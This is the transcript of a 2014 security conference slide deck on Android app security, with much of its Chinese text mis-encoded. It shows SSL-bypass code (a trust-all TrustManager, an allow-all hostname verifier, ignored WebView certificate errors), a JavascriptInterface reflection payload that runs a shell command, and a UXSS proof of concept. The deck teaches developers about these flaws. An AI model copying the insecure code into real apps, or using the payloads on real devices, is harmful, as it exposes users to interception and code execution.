Upgrade to Pro — share decks privately, control downloads, hide ads and more …

[2014/10/06] HITCON Freetalk - App Security on Android

DEVCORE
October 06, 2014

[2014/10/06] HITCON Freetalk - App Security on Android

DEVCORE

October 06, 2014
Tweet

More Decks by DEVCORE

Other Decks in Technology

Transcript

  1. 10 чᷗ⓱ Ўᐎࣞ 1. Client Hello 2. Server Hello 3.

    Certificate 4. ServerHelloDone 5. ClientKeyExchange 6. ChangeCipherSpec 7. Handshake Finished 8. ChangeCipherSpec 9. Handshake Finished 10. Application Data (HTTP) 11. Application Data (HTTP) Server Authentication SSL 加密連線
 handshake 過程
  2. 13

  3. 44-͡♢чᷗጫ๿ 16 ! URL url = new URL("https://wikipedia.org"); URLConnection urlConnection

    = url.openConnection(); InputStream in = urlConnection.getInputStream(); ! … ! WebView mWebView = (WebView) findViewById(R.id.webView); mWebView.loadUrl("https://wikipedia.org");
  4. ෤⯊㉌Ɀ⥝ᴑPO3FDFJWFE4TM&SSPS 23 憑證被判斷為無效的 SSL 連線,藉由 handler.proceed() ⽽而繼續執⾏行 ! ! mWebView.setWebViewClient(new

    WebViewClient() { @Override public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { handler.proceed(); // Ignore SSL certificate errors } }); !
  5. ෤⯊㉌Ɀ⥝ᴑDIFDL4FSWFS5SVTUFE 24 TrustManager[] trustAllManager = new TrustManager[] { new X509TrustManager()

    { @Override public void checkClientTrusted(X509Certificate[] chain, String authType) { } ! @Override public void checkServerTrusted(X509Certificate[] chain, String authType) { } ! @Override public X509Certificate[] getAcceptedIssuers() { return null; } }}; ! SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(null, trustAllManager, null); 預設有實作 SSL 檢查的元件被置換成忽略 SSL 檢查的元件
  6. ෤⯊㉌Ɀ⥝ᴑTFU)PTUOBNF7FSJGJFS 25 ! URL url = new URL("https://www.example.com/"); HttpsURLConnection conn

    = (HttpsURLConnection) url.openConnection(); ! conn.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); // or ... conn.setHostnameVerifier(new HostnameVerifier() { @Override public boolean verify(String hostname, SSLSession session) { return true; } }); 不作核對,容許所有主機名稱通過檢查
  7. 44-PO"OESPJE Ø ㉐ḋ␹ Ø ׁ฿ჹᴟ֥ஞ⼙⌀ѡ⺛ᖤሪ⳽⭠ Ø ࡟ᐩЦ਒௏͙ፖࠨྃⱍḑᗏᏱ Ø ≕⊶㏰⭶ Ø

    ྃⱍ⋀ஂ DFSUJGJDBUFQJOOJOH  Ø ٤஖⭸ࢢ㉐ḋ㋡ᚃ๢ᵊྃⱍᗏᏱ Ø ᝥ༦ΒᴟḑℨʱታԻ෇ൻዅڑୖࢢݞ㐘 Ø Βᴟ␹ Ø ⽙ӘΒᴟӬẐॆ࿼࿼ᄛΩḑᩜ⌀⋣ⶦ Ø ⽙ӘΒᴟ֥ஞ෠൷⹱ොḑᩜ⌀⋣ⶦ FY8&1 81" 26
  8. BEE+BWBTDSJQU*OUFSGBDF ᨟⋣㏣ᄛΩ+BWB4DSJQUჽٞ㡦Ⲃ⋣㏣٩̩ۍ٥ػᴚ⁰෇ˆ ㏰Ӕ⌋஺਒ḑԻቆ 29 class JsObject { public String toString()

    { return "Hello World"; } } ! webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new JsObject(), "injectedObject"); webView.loadUrl("http://www.example.com/"); ! <html> <head>… <script> alert(injectedObject.toString()); </script> </head> <body>…</body> </html> Hello World
  9. $7&㕚㐖ℨ๿⁃ 32 ! <script> function execute(cmdArgs) { return injectedObject.getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null)

    .invoke(null,null).exec(cmdArgs); } execute(["/system/bin/sh","-c","cat vuln >> attacker.txt"]); </script> Java Reflection API
  10. $7&๲ⴢ Ø ㉐ḋ␹ Ø ⽙Ә㉐ݧ+BWB4DSJQU֤ⓗ Ø ⽙Ә8FC7JFX⹶ӧ༃༦Ө஖ Βᴟ)5514 ٤ⱶٕ፭ࢩ)5.- 

    Ø ࢢ9࿡̩ʲᬝ፭Βᴟዏ⬋᨟Իቆᕵ⭽!+BWBTDSJQU*OUFSGBDF Ø ⽙Әࢢ9࿡̩ʳᬝ፭ḑ≕⊶ʲΒᴟBEE+BWBTDSJQU*OUFSGBDFԻቆ Ø Βᴟ␹ Ø ≕⊶ፄቭ╾9࿡̩ʲᬝ፭ Ø ⽙Ә㉐ݧʵኯΙᙘḑ⋣ࢮ Ø ჹᴟ̩㍳Өය8FC7JFX 8FC,JU ͵᨟ᐥ฾ḑᦫ⬲ࠨ 33
  11. $7&๲ⴢ Ø ㉐ḋ␹ Ø ⽙Ә㉐ݧ+BWB4DSJQU֤ⓗ Ø ⽙Ә8FC7JFX⹶ӧ༃༦Ө஖ Βᴟ)5514 ٤ⱶٕ፭ࢩ)5.- 

    Ø ௏ᬝ፭9_9ḑ≕⊶ΒᴟSFNPWF+BWBTDSJQU*OUFSGBDFံ ÓTFBSDI#PY+BWB#SJEHF@Ô⼏ϫ̘㍷⁨㋃ Ø Βᴟ␹ Ø ≕⊶ፄቭ╾9࿡̩ʲᬝ፭ Ø ⽙Ә㉐ݧʵኯΙᙘḑ⋣ࢮ Ø ჹᴟ̩㍳Өය8FC7JFX 8FC,JU ͵᨟ᐥ฾ḑᦫ⬲ࠨ Ø FY$ISPNF 'JSFGPY 0QFSB 35
  12. 36

  13. 39 測試 URL: http://devstd.in/cve/2014-6041/ 測試環境: Android 4.1.1 ! <html> <head>

    <title>CVE-2014-6041 UXSS DEMO</title> </head> <body> <iframe name="target_frame" src="http://devco.re/"></iframe> <br /> <input type="button" value="go" onclick="window.open('\u0000javascript:alert(document.body.innerHTML)', 'target_frame')" /> </body> </html>
  14. $7&๲ⴢ Ø ㉐ḋ␹ Ø ⽙Ә㉐ݧ+BWB4DSJQU֤ⓗ Ø ⽙Ә8FC7JFX⹶ӧ༃༦Ө஖ Βᴟ)5514 ٤ⱶٕ፭ࢩ)5.- 

    Ø ᖤሪDPPLJFׁ฿⭶ஂ᨟)UUQ0OMZ ͙ፖࠨ℀  Ø Βᴟ␹ Ø ≕⊶ፄቭ╾9࿡̩ʲᬝ፭ Ø ⽙Ә㉐ݧΙᙘʵኯḑ⋣ࢮ Ø ჹᴟ̩㍳Өය8FC7JFX 8FC,JU ͵᨟ᐥ฾ḑᦫ⬲ࠨ Ø FY$ISPNF 'JSFGPY 0QFSB 41
  15. ຺㔂∺ॊ 42 CVE-2012-6636 CVE-2014-1939 CVE-2014-6041 Android 2.X vulnerable non-vulnerable non-vulnerable

    Android 3.X vulnerable vulnerable non-vulnerable Android 4.0.X vulnerable vulnerable vulnerable Android 4.1.X vulnerable vulnerable vulnerable Android 4.2.X non-vulnerable non-vulnerable vulnerable Android 4.3.X non-vulnerable non-vulnerable vulnerable Android 4.4.X non-vulnerable non-vulnerable non-vulnerable